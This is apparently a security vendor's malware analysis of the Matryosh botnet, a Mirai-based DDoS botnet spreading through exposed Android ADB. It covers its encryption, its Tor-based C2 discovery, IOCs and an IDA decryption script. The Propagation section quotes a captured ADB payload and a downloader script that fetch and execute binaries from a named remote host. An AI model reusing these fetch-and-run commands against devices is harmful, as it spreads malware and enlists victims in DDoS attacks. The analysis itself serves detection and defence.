New Threat: Matryosh Botnet Is Spreading
<!--kg-card-begin: markdown--><h1 id="background">Background</h1>
<p>On January 25, 2021, 360 netlab BotMon system labeled a suspicious ELF file as<br>
Mirai, but the network traffic did not match Mirai's characteristics.<br>
This anomaly caught our attention, and after analysis, we determined that it was a new botnet that reused the Mirai framework, propagated through the <code>ADB interface</code>, and targeted Android-like devices with the main purpose of DDoS attacks.<br>
It redesigns the encryption algorithm and obtains <code>TOR C2</code> and the TOR proxys from remote hosts via <code>DNS TXT</code>.</p>
<p>The encryption algorithm implemented in this botnet and the process of obtaining C2 are nested in layers, like Russian nesting dolls.For this reason we named it <code>Matryosh</code>.</p>
<p>As the analysis progresses, more details emerge. Based on the similarity of C2 instructions, we speculate that it is another attempt by the <code>Moobot group</code>, which is very active at the moment.</p>
<p>Matryosh has no integrated scanning, vulnerability exploitation modules, the main function is DDoS attack, it supports <strong>tcpraw, icmpecho, udpplain</strong> attacks, the basic process is shown in the following figure.<br>
<img src="__GHOST_URL__/content/images/2021/01/taowa_network.png" width="860px"  /></p>
<h1 id="propagation">Propagation</h1>
<p>Currently Matryosh is propagated via adb, the captured payload is shown below, the main function is to download and execute scripts from the remote host 199.19.226.25.</p>
<pre><code>CNXN............M
..¼±§±host::features=cmd,shell_v2OPENX...........iQ..°¯º±shell:cd /data/local/tmp/; rm -rf wget bwget curl bcurl; wget http://199.19.226.25/wget; sh wget; busybox wget http://199.19.226.25/bwget; sh bwget; curl http://199.19.226.25/curl &gt; curl; sh curl; busybox curl http://199.19.226.25/bcurl &gt; bcurl; sh bcurl.sh.
</code></pre>
<p>The downloaded scripts are shown below, and the main function is to download and execute Matryosh samples of multipleCPU architectures from the remote host.</p>
<pre><code>#!/bin/sh

n=&quot;i586 mips mipsel armv5l armv7l&quot;
http_server=&quot;199.19.226.25&quot;

for a in $n
do
    curl http://$http_server/nXejnFjen/$a &gt; asFxgte
    chmod 777 asFxgte
    ./asFxgte android
done

for a in $n
do
    rm $a
done

</code></pre>
<h1 id="sampleanalysis">Sample Analysis</h1>
<p>Matryosh supports x86, arm, mips and other cpu architectures. x86 samples are selected for analysis in this paper, and the sample information is as follows.</p>
<blockquote>
<p>MD5:c96e333af964649bbc0060f436c64758<br>
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped<br>
Lib:uclibc<br>
Packer:None</p>
</blockquote>
<p>The function of Matryosh is relatively simple, when it runs on infected device, it renames the process and prints out the <code>stdin: pipe failed</code> to confuse the user. Then decrypts the remote hostname and uses the DNS TXT request to obtain TOR C2 and TOR proxy.After that establishes connection with the TOR proxy. And finally communicates with TOR C2 through the proxy and waits for the execution of the commands sent by C2.</p>
<h1 id="decryptingsensitiveresources">Decrypting sensitive resources</h1>
<p>As you can see from the IDA, Matryosh stores sensitive resources encrypted to prevent the relevant functions from being spotted by security researchers.<br>
<img src="__GHOST_URL__/content/images/2021/01/taowa_ida.jpg" alt="taowa_ida" loading="lazy"><br>
The ciphertext is composed of 1 header and N body, and the structure is shown below.</p>
<pre><code>struct header {
 	u8 msg_len;
 	u8 key;
 	u8 body_cnt;
 }
 struct body {
 	u8 key;
 	u8 body_len;
 	char *body_buf;
 }
</code></pre>
<p>Take the ciphertext<code>06 29 02 DC 10 81 96 85 87 94 82 F5 D0 86 D5 D0 91 F8 FF F5 F5 FB 06 D2 11 04 00 00 00</code> as an example, the decryption process is shown as follows.</p>
<pre><code>header.msglen=0x06	---&gt;valid length of the ciphertext is 6 bytes
header.key=0x29
header.body_cnt=0x2	---&gt; 2 body

body1.key=0xdc		
body1.len=0x10		---&gt;length of body1 is 0x10 bytes

body1 decryption
header.key XOR body1.key = key of body1 to decrypt,0xf5 
ciphertext： 81 96 85 87 94 82 F5 D0 86 D5 D0 91 F8 FF F5 F5
plaintext：74 63 70 72 61 77 00 25 73 20 25 64 0d 0a 00 00  |tcpraw.%s %d....|

body2.key=0xfb
body2.len=0x6		---&gt;length of body2 is 0x6 bytes
body2 decryption
header.key xor body2.key = key of body2 to decrypt,0x2f
ciphertext：D2 11 04 00 00 00
plaintext： 00 c3 d6 d2 d2 d2                                |.ÃÖÒÒÒ|


The effective ciphertext length is 6 bytes, so just take the first 6 bytes of body1 to get the plaintext tcpraw.
</code></pre>
<p>The decryption script in the <a href="#decrypt_str">Appendix</a> can be used to decrypt the following list of resources, which can be seen in the attack methods, remote host and other information.</p>
<table>
<thead>
<tr>
<th>tcpraw</th>
<th>icmpecho</th>
<th>udpplain</th>
</tr>
</thead>
<tbody>
<tr>
<td>/proc/</td>
<td>/cmdline</td>
<td>stdin: pipe failed</td>
</tr>
<tr>
<td>hosts.hiddenservice.xyz</td>
<td>.hiddenservice.xyz</td>
<td>onion.hiddenservice.xyz</td>
</tr>
</tbody>
</table>
<h1 id="processrenaming">Process renaming</h1>
<p>Rename the process to a <code>14 bytes case-sensitive</code> process name to confuse the user.<br>
<img src="__GHOST_URL__/content/images/2021/01/taowa_proc.jpg" alt="taowa_proc" loading="lazy"><br>
The actual effect is shown in the following figure.<br>
<img src="__GHOST_URL__/content/images/2021/01/taowa_name.JPG" alt="taowa_name" loading="lazy"></p>
<h1 id="obtainingtorproxyandtorc2">Obtaining TOR proxy and TOR C2</h1>
<p>The process of obtaining proxy and C2 by Bot can be divided into 4 steps.</p>
<h3 id="step1">step 1</h3>
<p>Decrypt to get remote host A (<code>hosts.hiddenservice.xyz</code>) and get its DNS TXT resolution result.<br>
<img src="__GHOST_URL__/content/images/2021/01/taowa_step1.jpg" alt="taowa_step1" loading="lazy"></p>
<pre><code>   hosts.hiddenservice.xyz. 1751	IN	TXT	&quot;iekfgakxorbfjcefbiyj&quot;
</code></pre>
<h3 id="step2">step 2</h3>
<p>Decrypt to get the remote host suffix (<code>.hiddenservice.xyz</code>), then extract the characters from the string obtained in the first step (<code>iekfgakxorbfjcefbiyj</code>) according to the combination rules in the table below, and take the first row (14,9) in the table below as an example, extract the characters with index 14 and 9 in the string, and merge to get a remote hostprefix <code>er</code>.</p>
<table>
<thead>
<tr>
<th>Index</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>14,9</td>
<td>er</td>
</tr>
<tr>
<td>19,10</td>
<td>jb</td>
</tr>
<tr>
<td>3,4</td>
<td>fg</td>
</tr>
<tr>
<td>6,2</td>
<td>kk</td>
</tr>
<tr>
<td>8,13</td>
<td>oc</td>
</tr>
<tr>
<td>12,18</td>
<td>jy</td>
</tr>
<tr>
<td>11,1</td>
<td>fe</td>
</tr>
<tr>
<td>7,15</td>
<td>xf</td>
</tr>
<tr>
<td>5,17</td>
<td>ai</td>
</tr>
<tr>
<td>16,0</td>
<td>bi</td>
</tr>
<tr>
<td>Finally, the prefix and suffix of the remote hosts obtained above are stitched together to get the list of remote hosts B, as follows.</td>
<td></td>
</tr>
<tr>
<td>jb.hiddenservice.xyz</td>
<td>er.hiddenservice.xyz</td>
</tr>
<tr>
<td>--------------------</td>
<td>--------------------</td>
</tr>
<tr>
<td>fg.hiddenservice.xyz</td>
<td>kk.hiddenservice.xyz</td>
</tr>
<tr>
<td>oc.hiddenservice.xyz</td>
<td>jy.hiddenservice.xyz</td>
</tr>
<tr>
<td>fe.hiddenservice.xyz</td>
<td>xf.hiddenservice.xyz</td>
</tr>
<tr>
<td>ai.hiddenservice.xyz</td>
<td>bi.hiddenservice.xyz</td>
</tr>
<tr>
<td>The actual network traffic in the figure below, validates our analysis.</td>
<td></td>
</tr>
<tr>
<td><img src="__GHOST_URL__/content/images/2021/01/taowa_step2.jpg" alt="taowa_step2" loading="lazy"></td>
<td></td>
</tr>
</tbody>
</table>
<h3 id="step3">step 3</h3>
<p>Request DNS TXT record from the remote host B obtained in step 2 to get the address of the TOR proxy, up to 10.<br>
<img src="__GHOST_URL__/content/images/2021/01/taowa_step3.jpg" alt="taowa_step3" loading="lazy"></p>
<pre><code>oc.hiddenservice.xyz.	1799	IN	TXT	&quot;198.245.53.58:9095&quot;
fe.hiddenservice.xyz.	1799	IN	TXT	&quot;198.27.82.186:9050&quot;
</code></pre>
<h3 id="step4">step 4</h3>
<p>Decrypt to get remote host C (onion.hiddenservice.xyz), request DNS TXT records from it, and get TOR C2 address.<br>
<img src="__GHOST_URL__/content/images/2021/01/taowa_step4.jpg" alt="taowa_step4" loading="lazy"></p>
<pre><code>onion.hiddenservice.xyz. 1799	IN	TXT	&quot;4qhemgahbjg4j6pt.onion&quot;
</code></pre>
<p>At this point, all the basic information needed for C2 communication has been obtained, and Bot starts C2 communication.</p>
<h1 id="c2communication">C2 Communication</h1>
<p>To communicate with C2, Bot first selects a TOR proxy at random and establishes a connection through the following codesnippet.<br>
<img src="__GHOST_URL__/content/images/2021/01/taowa.proxy.jpg" alt="taowa.proxy" loading="lazy"><br>
The <strong>TOR C2, PORT</strong> information is then sent to the TOR proxy that wants to establish communication, where the port is hard-coded <code>31337</code>.<br>
<img src="__GHOST_URL__/content/images/2021/01/taowa_c2.jpg" alt="taowa_c2" loading="lazy"><br>
If the TOR proxy returns <code>05 00 00 01 00 00 00 00 00 00</code>, the C2 connection is successful and subsequent communication can begin. The actual network traffic in the following figure clearly shows the above process.<br>
<img src="__GHOST_URL__/content/images/2021/01/taowa_pcap.jpg" alt="taowa_pcap" loading="lazy"><br>
After sending the golive packet Bot starts waiting for C2 to give the instruction. The first byte of the instruction packet specifies the type of instruction.</p>
<ul>
<li>Command code: 0x84 for heartbeat<br>
<img src="__GHOST_URL__/content/images/2021/01/taowa_beat.jpg" alt="taowa_beat" loading="lazy"></li>
<li>Command code: 0x55 for uploads the group information of the Bot<br>
<img src="__GHOST_URL__/content/images/2021/01/taowa_reg.jpg" alt="taowa_reg" loading="lazy"></li>
<li>Command code: non-0x55, non-0x84, DDoS attack<br>
<img src="__GHOST_URL__/content/images/2021/01/taowa_atk.jpg" alt="taowa_atk" loading="lazy"></li>
</ul>
<h1 id="relationshipwithmoobotgroup">Relationship with Moobot group</h1>
<p>The <strong>Moobot group</strong> is a fairly active botnet group that has been innovating in encryption algorithms and network communication. We exposed a new branch developed by this group, <a href="__GHOST_URL__/the-leethozer-botnet-en/">LeetHozer</a>, on April 27, 2020, and compared with Matryosh, the similarities between the two are reflected in the following 3 aspects.</p>
<p>1.Using a model like TOR C2</p>
<p>2.C2 port (31337) &amp; attack method name is the same</p>
<p>3.<strong>C2 command format is highly similar</strong></p>
<p>Based on these considerations, we speculate that Matryosh isthe new work of thisparent group.</p>
<h1 id="conclusion">Conclusion</h1>
<p>Matryosh's cryptographic design has some novelty, but still falls into the Mirai single-byte XOR pattern, which is why it is easily flagged by antivirus software as Mirai; the changes at the network communication level indicates that its authors wanted to implement a mechanism to protect C2 by downlinking the configuration from the cloud, doing this will bring some difficulties to static analysis or simple IOC simulator.</p>
<p>However, the act of putting all remote hosts under the same SLD is not optimal, it might change and we will keep an eye on it.All the related domains have been blocked by our DNSmon system.</p>
<h1 id="contactus">Contact us</h1>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> or email to netlab at 360 dot cn.</p>
<h1 id="ioc">IOC</h1>
<p>Sample MD5</p>
<pre><code>ELF
6d8a8772360034d811afd74721dbb261
9e0734f658908139e99273f91871bdf6
c96e333af964649bbc0060f436c64758
e763fab020b7ad3e46a7d1d18cb85f66

SCRIPT
594f40a39e4f8f5324b3e198210ac7db
1151cd05ee4d8e8c3266b888a9aea0f8
93530c1b942293c0d5d6936820c6f6df
b9d166b8e9972204ac0bbffda3f8eec6
</code></pre>
<p>URL</p>
<pre><code>kk.hiddenservice.xyz	
er.hiddenservice.xyz	
jy.hiddenservice.xyz	
fe.hiddenservice.xyz	
xf.hiddenservice.xyz	
oc.hiddenservice.xyz	
jb.hiddenservice.xyz	
ai.hiddenservice.xyz	
bi.hiddenservice.xyz	
fg.hiddenservice.xyz

hosts.hiddenservice.xyz	
onion.hiddenservice.xyz	
</code></pre>
<p>C2</p>
<pre><code>4qhemgahbjg4j6pt.onion：31337
</code></pre>
<p>Proxy Ip</p>
<pre><code>46.105.34.51:999
139.99.239.154:9095
139.99.134.95:9095
198.27.82.186:9050
188.165.233.121:9151
198.245.53.58:9095
51.83.186.134:9095
139.99.45.195:9050
51.195.91.193:9095
147.135.208.13:9095
</code></pre>
<p>Downloader</p>
<pre><code>i586 mips mipsel armv5l armv7l
hxxp://199.19.226.25/nXejnFjen/{CPU ARCH}

</code></pre>
<h2 id="aiddecrypt_strappendixidascripta"><a id="decrypt_str">Appendix(IDA script)</a></h2>
<pre><code>import idc
import idaapi
import idautils


# c96e333af964649bbc0060f436c64758
def find_function_arg(addr):
    round = 0
    while round &lt; 2:
        addr = idc.PrevHead(addr)
        if GetMnem(addr) == &quot;mov&quot; and &quot;offset&quot; in GetOpnd(addr, 1):
            return GetOperandValue(addr, 1)
        if GetMnem(addr) == &quot;push&quot; and &quot;offset&quot; in GetOpnd(addr, 0):
            return GetOperandValue(addr, 0)
        round += 1

    return 0


def get_string(addr):
    out = []
    while True:
        if Byte(addr) != 0:
            out.append(Byte(addr))
        else:
            break
        addr += 1
    return out


def descrypt(enc_lst):
    msg_length = enc_lst[0]
    xor_key1 = enc_lst[1]
    group = enc_lst[2]

    msg_lst = enc_lst[3:]
    des_msg = []
    for i in range(0, group):
        xor_key2 = msg_lst[0]
        group_len = msg_lst[1]
        key = xor_key1 ^ xor_key2
        for j in range(2, group_len + 2):
            des_msg.append(chr(msg_lst[j] ^ key))
        if len(des_msg) &gt; msg_length:
            des_msg = des_msg[0:msg_length]
            break
        msg_lst = msg_lst[group_len + 2:]
    print(&quot;&quot;.join(des_msg))


descrypt_func_ea = 0x080493E0

refsto_lst = []
for ref in CodeRefsTo(descrypt_func_ea, 1):
    refsto_lst.append(ref)

ens_str_addr = []
for ea in refsto_lst:
    addr = find_function_arg(ea)
    if addr != 0:
        ens_str_addr.append(addr)
        # print(hex(addr))
    else:
        print(&quot;Missed arg at {}&quot;.format(ea))

for ea in ens_str_addr:
    ret = get_string(ea)
    descrypt(ret)
</code></pre>
<!--kg-card-end: markdown-->
Background


On January 25, 2021, 360 netlab BotMon system labeled a suspicious ELF file as

Mirai, but the network traffic did not match Mirai's characteristics.

This anomaly caught our attention, and after analysis, we determined that it was a new botnet that reused the Mirai framework, propagated through the ADB interface, and targeted Android-like devices with the main purpose of DDoS attacks.

It redesigns the encryption algorithm and obtains TOR C2 and the TOR proxys from remote hosts via DNS TXT.


The encryption algorithm implemented in this botnet and the process of obtaining C2 are nested in layers, like Russian nesting dolls.For this reason we named it Matryosh.


As the analysis progresses, more details emerge. Based on the similarity of C2 instructions, we speculate that it is another attempt by the Moobot group, which is very active at the moment.


Matryosh has no integrated scanning, vulnerability exploitation modules, the main function is DDoS attack, it supports tcpraw, icmpecho, udpplain attacks, the basic process is shown in the following figure.





Propagation


Currently Matryosh is propagated via adb, the captured payload is shown below, the main function is to download and execute scripts from the remote host 199.19.226.25.


CNXN............M
..¼±§±host::features=cmd,shell_v2OPENX...........iQ..°¯º±shell:cd /data/local/tmp/; rm -rf wget bwget curl bcurl; wget http://199.19.226.25/wget; sh wget; busybox wget http://199.19.226.25/bwget; sh bwget; curl http://199.19.226.25/curl > curl; sh curl; busybox curl http://199.19.226.25/bcurl > bcurl; sh bcurl.sh.



The downloaded scripts are shown below, and the main function is to download and execute Matryosh samples of multipleCPU architectures from the remote host.


#!/bin/sh

n="i586 mips mipsel armv5l armv7l"
http_server="199.19.226.25"

for a in $n
do
    curl http://$http_server/nXejnFjen/$a > asFxgte
    chmod 777 asFxgte
    ./asFxgte android
done

for a in $n
do
    rm $a
done





Sample Analysis


Matryosh supports x86, arm, mips and other cpu architectures. x86 samples are selected for analysis in this paper, and the sample information is as follows.





MD5:c96e333af964649bbc0060f436c64758

ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped

Lib:uclibc

Packer:None



The function of Matryosh is relatively simple, when it runs on infected device, it renames the process and prints out the stdin: pipe failed to confuse the user. Then decrypts the remote hostname and uses the DNS TXT request to obtain TOR C2 and TOR proxy.After that establishes connection with the TOR proxy. And finally communicates with TOR C2 through the proxy and waits for the execution of the commands sent by C2.



Decrypting sensitive resources


As you can see from the IDA, Matryosh stores sensitive resources encrypted to prevent the relevant functions from being spotted by security researchers.



The ciphertext is composed of 1 header and N body, and the structure is shown below.


struct header {
 	u8 msg_len;
 	u8 key;
 	u8 body_cnt;
 }
 struct body {
 	u8 key;
 	u8 body_len;
 	char *body_buf;
 }



Take the ciphertext06 29 02 DC 10 81 96 85 87 94 82 F5 D0 86 D5 D0 91 F8 FF F5 F5 FB 06 D2 11 04 00 00 00 as an example, the decryption process is shown as follows.


header.msglen=0x06	--->valid length of the ciphertext is 6 bytes
header.key=0x29
header.body_cnt=0x2	---> 2 body

body1.key=0xdc		
body1.len=0x10		--->length of body1 is 0x10 bytes

body1 decryption
header.key XOR body1.key = key of body1 to decrypt,0xf5 
ciphertext： 81 96 85 87 94 82 F5 D0 86 D5 D0 91 F8 FF F5 F5
plaintext：74 63 70 72 61 77 00 25 73 20 25 64 0d 0a 00 00  |tcpraw.%s %d....|

body2.key=0xfb
body2.len=0x6		--->length of body2 is 0x6 bytes
body2 decryption
header.key xor body2.key = key of body2 to decrypt,0x2f
ciphertext：D2 11 04 00 00 00
plaintext： 00 c3 d6 d2 d2 d2                                |.ÃÖÒÒÒ|


The effective ciphertext length is 6 bytes, so just take the first 6 bytes of body1 to get the plaintext tcpraw.



The decryption script in the Appendix can be used to decrypt the following list of resources, which can be seen in the attack methods, remote host and other information.





tcpraw
icmpecho
udpplain




/proc/
/cmdline
stdin: pipe failed


hosts.hiddenservice.xyz
.hiddenservice.xyz
onion.hiddenservice.xyz






Process renaming


Rename the process to a 14 bytes case-sensitive process name to confuse the user.



The actual effect is shown in the following figure.





Obtaining TOR proxy and TOR C2


The process of obtaining proxy and C2 by Bot can be divided into 4 steps.



step 1


Decrypt to get remote host A (hosts.hiddenservice.xyz) and get its DNS TXT resolution result.




   hosts.hiddenservice.xyz. 1751	IN	TXT	"iekfgakxorbfjcefbiyj"




step 2


Decrypt to get the remote host suffix (.hiddenservice.xyz), then extract the characters from the string obtained in the first step (iekfgakxorbfjcefbiyj) according to the combination rules in the table below, and take the first row (14,9) in the table below as an example, extract the characters with index 14 and 9 in the string, and merge to get a remote hostprefix er.





Index
Value




14,9
er


19,10
jb


3,4
fg


6,2
kk


8,13
oc


12,18
jy


11,1
fe


7,15
xf


5,17
ai


16,0
bi


Finally, the prefix and suffix of the remote hosts obtained above are stitched together to get the list of remote hosts B, as follows.



jb.hiddenservice.xyz
er.hiddenservice.xyz


--------------------
--------------------


fg.hiddenservice.xyz
kk.hiddenservice.xyz


oc.hiddenservice.xyz
jy.hiddenservice.xyz


fe.hiddenservice.xyz
xf.hiddenservice.xyz


ai.hiddenservice.xyz
bi.hiddenservice.xyz


The actual network traffic in the figure below, validates our analysis.











step 3


Request DNS TXT record from the remote host B obtained in step 2 to get the address of the TOR proxy, up to 10.




oc.hiddenservice.xyz.	1799	IN	TXT	"198.245.53.58:9095"
fe.hiddenservice.xyz.	1799	IN	TXT	"198.27.82.186:9050"




step 4


Decrypt to get remote host C (onion.hiddenservice.xyz), request DNS TXT records from it, and get TOR C2 address.




onion.hiddenservice.xyz. 1799	IN	TXT	"4qhemgahbjg4j6pt.onion"



At this point, all the basic information needed for C2 communication has been obtained, and Bot starts C2 communication.



C2 Communication


To communicate with C2, Bot first selects a TOR proxy at random and establishes a connection through the following codesnippet.



The TOR C2, PORT information is then sent to the TOR proxy that wants to establish communication, where the port is hard-coded 31337.



If the TOR proxy returns 05 00 00 01 00 00 00 00 00 00, the C2 connection is successful and subsequent communication can begin. The actual network traffic in the following figure clearly shows the above process.



After sending the golive packet Bot starts waiting for C2 to give the instruction. The first byte of the instruction packet specifies the type of instruction.


 * Command code: 0x84 for heartbeat
   
   
 * Command code: 0x55 for uploads the group information of the Bot
   
   
 * Command code: non-0x55, non-0x84, DDoS attack
   
   



Relationship with Moobot group


The Moobot group is a fairly active botnet group that has been innovating in encryption algorithms and network communication. We exposed a new branch developed by this group, LeetHozer, on April 27, 2020, and compared with Matryosh, the similarities between the two are reflected in the following 3 aspects.


1.Using a model like TOR C2


2.C2 port (31337) & attack method name is the same


3.C2 command format is highly similar


Based on these considerations, we speculate that Matryosh isthe new work of thisparent group.



Conclusion


Matryosh's cryptographic design has some novelty, but still falls into the Mirai single-byte XOR pattern, which is why it is easily flagged by antivirus software as Mirai; the changes at the network communication level indicates that its authors wanted to implement a mechanism to protect C2 by downlinking the configuration from the cloud, doing this will bring some difficulties to static analysis or simple IOC simulator.


However, the act of putting all remote hosts under the same SLD is not optimal, it might change and we will keep an eye on it.All the related domains have been blocked by our DNSmon system.



Contact us


Readers are always welcomed to reach us on twitter or email to netlab at 360 dot cn.



IOC


Sample MD5


ELF
6d8a8772360034d811afd74721dbb261
9e0734f658908139e99273f91871bdf6
c96e333af964649bbc0060f436c64758
e763fab020b7ad3e46a7d1d18cb85f66

SCRIPT
594f40a39e4f8f5324b3e198210ac7db
1151cd05ee4d8e8c3266b888a9aea0f8
93530c1b942293c0d5d6936820c6f6df
b9d166b8e9972204ac0bbffda3f8eec6



URL


kk.hiddenservice.xyz	
er.hiddenservice.xyz	
jy.hiddenservice.xyz	
fe.hiddenservice.xyz	
xf.hiddenservice.xyz	
oc.hiddenservice.xyz	
jb.hiddenservice.xyz	
ai.hiddenservice.xyz	
bi.hiddenservice.xyz	
fg.hiddenservice.xyz

hosts.hiddenservice.xyz	
onion.hiddenservice.xyz	



C2


4qhemgahbjg4j6pt.onion：31337



Proxy Ip


46.105.34.51:999
139.99.239.154:9095
139.99.134.95:9095
198.27.82.186:9050
188.165.233.121:9151
198.245.53.58:9095
51.83.186.134:9095
139.99.45.195:9050
51.195.91.193:9095
147.135.208.13:9095



Downloader


i586 mips mipsel armv5l armv7l
hxxp://199.19.226.25/nXejnFjen/{CPU ARCH}





Appendix(IDA script)


import idc
import idaapi
import idautils


# c96e333af964649bbc0060f436c64758
def find_function_arg(addr):
    round = 0
    while round < 2:
        addr = idc.PrevHead(addr)
        if GetMnem(addr) == "mov" and "offset" in GetOpnd(addr, 1):
            return GetOperandValue(addr, 1)
        if GetMnem(addr) == "push" and "offset" in GetOpnd(addr, 0):
            return GetOperandValue(addr, 0)
        round += 1

    return 0


def get_string(addr):
    out = []
    while True:
        if Byte(addr) != 0:
            out.append(Byte(addr))
        else:
            break
        addr += 1
    return out


def descrypt(enc_lst):
    msg_length = enc_lst[0]
    xor_key1 = enc_lst[1]
    group = enc_lst[2]

    msg_lst = enc_lst[3:]
    des_msg = []
    for i in range(0, group):
        xor_key2 = msg_lst[0]
        group_len = msg_lst[1]
        key = xor_key1 ^ xor_key2
        for j in range(2, group_len + 2):
            des_msg.append(chr(msg_lst[j] ^ key))
        if len(des_msg) > msg_length:
            des_msg = des_msg[0:msg_length]
            break
        msg_lst = msg_lst[group_len + 2:]
    print("".join(des_msg))


descrypt_func_ea = 0x080493E0

refsto_lst = []
for ref in CodeRefsTo(descrypt_func_ea, 1):
    refsto_lst.append(ref)

ens_str_addr = []
for ea in refsto_lst:
    addr = find_function_arg(ea)
    if addr != 0:
        ens_str_addr.append(addr)
        # print(hex(addr))
    else:
        print("Missed arg at {}".format(ea))

for ea in ens_str_addr:
    ret = get_string(ea)
    descrypt(ret)


{"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"# Background\nOn January 25, 2021, 360 netlab BotMon system labeled a suspicious ELF file as \nMirai, but the network traffic did not match Mirai's characteristics. \nThis anomaly caught our attention, and after analysis, we determined that it was a new botnet that reused the Mirai framework, propagated through the ```ADB interface```, and targeted Android-like devices with the main purpose of DDoS attacks. \nIt redesigns the encryption algorithm and obtains ```TOR C2``` and the TOR proxys from remote hosts via ```DNS TXT```.\n\nThe encryption algorithm implemented in this botnet and the process of obtaining C2 are nested in layers, like Russian nesting dolls.For this reason we named it ```Matryosh```.\n\nAs the analysis progresses, more details emerge. Based on the similarity of C2 instructions, we speculate that it is another attempt by the ```Moobot group```, which is very active at the moment.\n\nMatryosh has no integrated scanning, vulnerability exploitation modules, the main function is DDoS attack, it supports **tcpraw, icmpecho, udpplain** attacks, the basic process is shown in the following figure.\n<img src=\"__GHOST_URL__/content/images/2021/01/taowa_network.png\" width=\"860px\"  />\n# Propagation\nCurrently Matryosh is propagated via adb, the captured payload is shown below, the main function is to download and execute scripts from the remote host 199.19.226.25.\n```\nCNXN............M\n..¼±§±host::features=cmd,shell_v2OPENX...........iQ..°¯º±shell:cd /data/local/tmp/; rm -rf wget bwget curl bcurl; wget http://199.19.226.25/wget; sh wget; busybox wget http://199.19.226.25/bwget; sh bwget; curl http://199.19.226.25/curl > curl; sh curl; busybox curl http://199.19.226.25/bcurl > bcurl; sh bcurl.sh.\n```\nThe downloaded scripts are shown below, and the main function is to download and execute Matryosh samples of multipleCPU architectures from the remote host.\n```\n#!/bin/sh\n\nn=\"i586 mips mipsel armv5l armv7l\"\nhttp_server=\"199.19.226.25\"\n\nfor a in $n\ndo\n    curl http://$http_server/nXejnFjen/$a > asFxgte\n    chmod 777 asFxgte\n    ./asFxgte android\ndone\n\nfor a in $n\ndo\n    rm $a\ndone\n\n```\n# Sample Analysis\nMatryosh supports x86, arm, mips and other cpu architectures. x86 samples are selected for analysis in this paper, and the sample information is as follows.\n> MD5:c96e333af964649bbc0060f436c64758\n> ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped\n> Lib:uclibc\n> Packer:None\n\nThe function of Matryosh is relatively simple, when it runs on infected device, it renames the process and prints out the ```stdin: pipe failed``` to confuse the user. Then decrypts the remote hostname and uses the DNS TXT request to obtain TOR C2 and TOR proxy.After that establishes connection with the TOR proxy. And finally communicates with TOR C2 through the proxy and waits for the execution of the commands sent by C2.\n# Decrypting sensitive resources\nAs you can see from the IDA, Matryosh stores sensitive resources encrypted to prevent the relevant functions from being spotted by security researchers.\n![taowa_ida](__GHOST_URL__/content/images/2021/01/taowa_ida.jpg)\nThe ciphertext is composed of 1 header and N body, and the structure is shown below.\n```\nstruct header {\n \tu8 msg_len;\n \tu8 key;\n \tu8 body_cnt;\n }\n struct body {\n \tu8 key;\n \tu8 body_len;\n \tchar *body_buf;\n }\n```\nTake the ciphertext```06 29 02 DC 10 81 96 85 87 94 82 F5 D0 86 D5 D0 91 F8 FF F5 F5 FB 06 D2 11 04 00 00 00``` as an example, the decryption process is shown as follows.\n\n```\nheader.msglen=0x06\t--->valid length of the ciphertext is 6 bytes\nheader.key=0x29\nheader.body_cnt=0x2\t---> 2 body\n\nbody1.key=0xdc\t\t\nbody1.len=0x10\t\t--->length of body1 is 0x10 bytes\n\nbody1 decryption\nheader.key XOR body1.key = key of body1 to decrypt,0xf5 \nciphertext： 81 96 85 87 94 82 F5 D0 86 D5 D0 91 F8 FF F5 F5\nplaintext：74 63 70 72 61 77 00 25 73 20 25 64 0d 0a 00 00  |tcpraw.%s %d....|\n\nbody2.key=0xfb\nbody2.len=0x6\t\t--->length of body2 is 0x6 bytes\nbody2 decryption\nheader.key xor body2.key = key of body2 to decrypt,0x2f\nciphertext：D2 11 04 00 00 00\nplaintext： 00 c3 d6 d2 d2 d2                                |.ÃÖÒÒÒ|\n\n\nThe effective ciphertext length is 6 bytes, so just take the first 6 bytes of body1 to get the plaintext tcpraw.\n```\nThe decryption script in the [Appendix](#decrypt_str) can be used to decrypt the following list of resources, which can be seen in the attack methods, remote host and other information.\n\n| tcpraw                  | icmpecho           | udpplain                |\n| ----------------------- | ------------------ | ----------------------- |\n| /proc/                  | /cmdline           | stdin: pipe failed      |\n| hosts.hiddenservice.xyz | .hiddenservice.xyz | onion.hiddenservice.xyz |\n\n# Process renaming\nRename the process to a ```14 bytes case-sensitive``` process name to confuse the user.\n![taowa_proc](__GHOST_URL__/content/images/2021/01/taowa_proc.jpg)\nThe actual effect is shown in the following figure.\n![taowa_name](__GHOST_URL__/content/images/2021/01/taowa_name.JPG)\n# Obtaining TOR proxy and TOR C2\n\nThe process of obtaining proxy and C2 by Bot can be divided into 4 steps.\n### step 1\nDecrypt to get remote host A (```hosts.hiddenservice.xyz```) and get its DNS TXT resolution result.\n![taowa_step1](__GHOST_URL__/content/images/2021/01/taowa_step1.jpg)\n```\n   hosts.hiddenservice.xyz. 1751\tIN\tTXT\t\"iekfgakxorbfjcefbiyj\"\n```\n### step 2 \nDecrypt to get the remote host suffix (```.hiddenservice.xyz```), then extract the characters from the string obtained in the first step (```iekfgakxorbfjcefbiyj```) according to the combination rules in the table below, and take the first row (14,9) in the table below as an example, extract the characters with index 14 and 9 in the string, and merge to get a remote hostprefix ```er```.\n| Index | Value |\n   | ----- | ----- |\n   | 14,9 | er    |\n   |  19,10 | jb    |\n   | 3,4   | fg    |\n   | 6,2   | kk    |\n   | 8,13  | oc    |\n   | 12,18 | jy    |\n   | 11,1  | fe    |\n   | 7,15  | xf    |\n   | 5,17  | ai    |\n   | 16,0  | bi    |\nFinally, the prefix and suffix of the remote hosts obtained above are stitched together to get the list of remote hosts B, as follows.\n  | jb.hiddenservice.xyz | er.hiddenservice.xyz |\n   | -------------------- | -------------------- |\n   | fg.hiddenservice.xyz | kk.hiddenservice.xyz |\n   | oc.hiddenservice.xyz | jy.hiddenservice.xyz |\n   | fe.hiddenservice.xyz | xf.hiddenservice.xyz |\n   | ai.hiddenservice.xyz | bi.hiddenservice.xyz |\n The actual network traffic in the figure below, validates our analysis.\n ![taowa_step2](__GHOST_URL__/content/images/2021/01/taowa_step2.jpg)\n ### step 3\nRequest DNS TXT record from the remote host B obtained in step 2 to get the address of the TOR proxy, up to 10.\n  